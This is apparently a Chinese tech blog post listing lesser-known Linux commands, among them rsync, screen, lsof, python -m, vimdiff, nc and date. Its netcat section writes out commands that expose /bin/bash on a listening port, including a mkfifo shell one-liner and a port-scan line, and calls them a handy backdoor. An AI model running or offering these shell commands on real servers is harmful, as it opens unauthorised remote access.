這些傻白甜的Linux命令,不會有人教你!
原創:小姐姐味道(微信公眾號ID:xjjdog),歡迎分享,轉載請保留此資訊。
Linux上的命令非常多,為了掌握它,很多同學耗盡了自己的腦細胞,憔悴了自己的容顏,結果記憶了一大堆垃圾命令,用過之後就忘了哈哈。
xjjdog在以前整理過一批最常用的Linux命令,更編寫了一篇長長的Linux教程文件。可以說,只要掌握了這些,Linux的命令就可以玩的和轉了,就像哪吒的風火輪一樣。
但是本文,我將介紹另外幾個命令,會讓你的Linux技能更上一層樓。這幾個命令的應用場景,幾乎沒人會教你。
rsync
如果你使用過cp,那一定知道scp。cp的適用範圍是單機,而scp可以實現跨機器複製。比如:
scp -Crvp -l 1024 logs/ [email protected]:/opt/logs
其中,-C是壓縮的意思;-r是迴圈傳輸整個目錄;-p表示保留原檔案的一些屬性;-l表示限制貸款(kb/s);-v表示顯示詳細程序。
但如果你傳輸的檔案非常的大,比如每天上T的日誌檔案,你不可能每次都把這些檔案傳輸一遍,所以增量備份會成為一個首要的需求;當然,如果在拷貝過程中,能夠排除一些檔案,那是再好不過了。它們之間還有兩個小區別:rsync預設是隻拷貝有變動的檔案,scp是全量拷貝,所以rsync很適合做增量備份。另外,scp是加密傳輸,而rsync不是。
這種場景,rsync就派上用場了。例如:
rsync -prz --exclude 'bin' --bwlimit=1024 logs/ [email protected]:/opt/logs
同樣的,-r表示遞迴;-p表示保留屬性;-z表示開啟壓縮;--bwlimit表示頻寬限制;而--exclude就可以指定我們要忽略的檔案。如果你想要看拷貝進度的話,可以加入--progress引數。
screen & tmux
如果你費了九牛二虎之力登入了公司的伺服器,結果發現只能開啟一個黑漆漆的視窗。如果再開一個的話,就需要重複相同的過程。後者合上電腦,ssh就斷開了,是不是感覺很無助?
即使是Ctrl+z和fg配合,也只能讓某 一個
命令在後臺執行。
screen可以避免這些問題,很多Linux發行版中都預裝了。當然,tmux是更高階版本,但你可能沒有許可權安裝它。
直接執行screen命令,就可以開啟一個新的screen session。下面演示一個普通的流程。
# 1 使用screen進入命令 screen vim /etc/hosts # 2 在 screen 終端 下 按下 Ctrl+a d鍵,這將退出編輯視窗 # 3 顯示已建立的screen終端 screen -ls # 4 連線 screen_id 為 14000 的 screen終端 screen -r 14000
lsof
在linux環境下,任何事物都以檔案的形式存在,通過檔案不僅僅可以訪問常規資料,還可以訪問網路連線和硬體。lsof就是一個可以檢視所有關聯檔案的命令,非常好用。
預設的lsof會列出系統中所有的正在被使用的 檔案
,這通常是巨大的。所以它提供了很多過濾條件。
比如-p 指定程序號;-u 指定使用者名稱;-i 列出所有的網路連結。
常見的命令如下:
# 1. 列出程序123和456所對應的檔案資訊 lsof -p 123,456 # 2. 列出所有的tcp連結 lsof -i tcp # 3. 檢視佔用了8080埠的程序資訊 lsof -i :8080
python -m
python是個好工具,尤其是它內建了很多一句話的服務。
比如,你想要臨時在伺服器上開啟一個HTTP服務,但又不想安裝Nginx或者Tomcat這麼笨重的東西,那麼就可以使用Python臨時開啟一個。
python3 -m http.server 9080 Serving HTTP on :: port 9080 (http://[::]:9080/)
這將在啟動命令列的目錄開啟一個HTTP服務。
如果你想要格式化一個json字串,那麼可以使用json.tool。
python -m json.tool
使用它,將非常方便的完成json格式化,再也不用訪問瀏覽器了。
vimdiff
很多人使用vim來編輯檔案,但很少人知道vim也可以對比兩個檔案。
相對於diff命令來說,vimdiff獲取的結果是彩色的。直接編輯兩個要對比的檔案即可。
vim file1 file2
vim會盡力保證兩側檔案的對齊。當你滾動一邊資料的時候,將會帶動另外一邊同時滾動。
-
]c
下一個差異點 -
[c
上一個差異點
nc
netcat
這個工具,簡稱 nc
,是Linux上一個非常強大的工具(當然也有windows版本)。由於它能力實在太強,有些公司甚至對他進行了隔離(quarantined)。比如 rename
掉,或者給 000
的許可權。因為它很容易可以在伺服器上開一個後門(backdoor),並且極其方便。
nc的引數非常非常多,如果列出來,會讓你失去興趣,白白錯過了這麼厲害的工具,也錯過了進局子的機會。我們還是以案例來說明,這款不到1MB的命令,為什麼俘獲了 xjjdog
的芳心。
下面的命令,將在機器上開放 5879
埠。服務端:
# nc -l -vv -p 5879 -e /bin/bash Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on :::5879 Ncat: Listening on 0.0.0.0:5879
這個過程叫做反彈shell,遠端就可以使用nc命令連線,做一些事情。
客戶端:
# nc -v 192.16.1.54 5879 Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
在伺服器上,執行下面兩個命令,這就構造了一個迴圈。
rm -f /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f
客戶端nc連線以後,竟然直接出現了命令列操作終端!
$ nc -v 192.16.1.54 5879 Connection to 192.16.1.54 port 5879 [tcp/*] succeeded! [[email protected]~]#
你可能會說,我客戶端關掉之後,為什麼服務端的命令也退出了?如果你想要服務端繼續監聽,可以加上引數 -k
。
如果你想要判斷伺服器的tomcat埠是否開啟,不需要登陸到伺服器上,然後再 ps
一下看一下程序,或者使用 netstat -antl
看一下監聽的埠。
只需要簡單的打上ip和埠,它就能知道結果。
# nc -vvv baidu.com 443 Connection to baidu.com port 443 [tcp/https] succeeded!
當然,它也可以掃描主機的埠開放情況。不過對程式設計師來說用的不多。
nc -vzw 2 192.16.1.54 8888-9999
更多的關於nc的知識,可以參見這篇文章。
將Unix時間戳變可讀
如果你獲取到一個Linux時間戳,那麼你可能希望知道它到底是什麼時間。
雖然有很多網路工具可以幫助你做這些事,但它們太慢了。我們直接使用date命令就可以達到。
看下面。
date -d @1658054000 +'%Y-%m-%d %H:%M:%S'
你可以建立自己的常用命令把後面的替換了。對於macbook來說,不是d引數,而是r引數,效果是一樣的。
date -r 1658054000 Sun Jul 17 18:33:20 CST 2022
systemctl
關於systemd,我們在另外一篇文章中說明。這裡補充一個好用的命令,可以看到當前伺服器中都有哪些可以執行的服務。
systemctl -l -t service | less
End
以上就是我稍加補充的幾個Linux效率工具。從上圖的一個調查科可以看出,有太多的人在使用Linux的命令列。MacOS的很多指令已經和Linux趨同,所以這個範圍會更大一些。
掌握一些常用的Linux命令,可以讓你的工作完成的更快更迅速。而那些不常用的命令,只會吞噬你寶貴的時間。本文告訴你的,都是工作中的經驗之談,沒有書生氣,也沒有長篇大論的引數羅列。只談你最常用的,因為我懂你。
作者簡介:小姐姐味道 (xjjdog),一個不允許程式設計師走彎路的公眾號。聚焦基礎架構和Linux。十年架構,日百億流量,與你探討高併發世界,給你不一樣的味道。我的個人微信xjjdog0,歡迎新增好友,進一步交流。
推薦閱讀:
- ChatGPT 生態,毀滅人性的一次開源!
- 能夠公司呆下去,靠的是一份迷茫!
- 你在公司混的差,可能和組織架構有關!
- 再搞CRUD,就真的變成廢物獠!
- 來來來,快速擼 Redis 一遍!
- 分庫分表,可能真的要退出歷史舞臺了!
- 讓人噁心的多執行緒程式碼,效能怎麼優化!
- 架構師:比起 404,我們更怕 200!
- 完全使用Linux替換Windows之後,我覺得自己非常愚蠢
- sudo,代表了Linux的絕對霸權!
- 讀懂HikariCP一百行程式碼,多執行緒就是個孫子!
- 看到就是賺到!當 LinkedList 不是列表時,速度快的兔子都追不上!
- 讀懂HikariCP一百行程式碼,多執行緒就是個孫子!
- 老闆覺得冷,服務如何縮容?
- 這些傻白甜的Linux命令,不會有人教你!
- 這些傻白甜的Linux命令,不會有人教你!
- 使用systemd,把服務裝進 Linux 心臟裡~
- 不是所有有才華的人,都想當領導!
- 這些老系統程式碼,怎麼寫的這麼爛?
- 這些老系統程式碼,是豬寫的麼?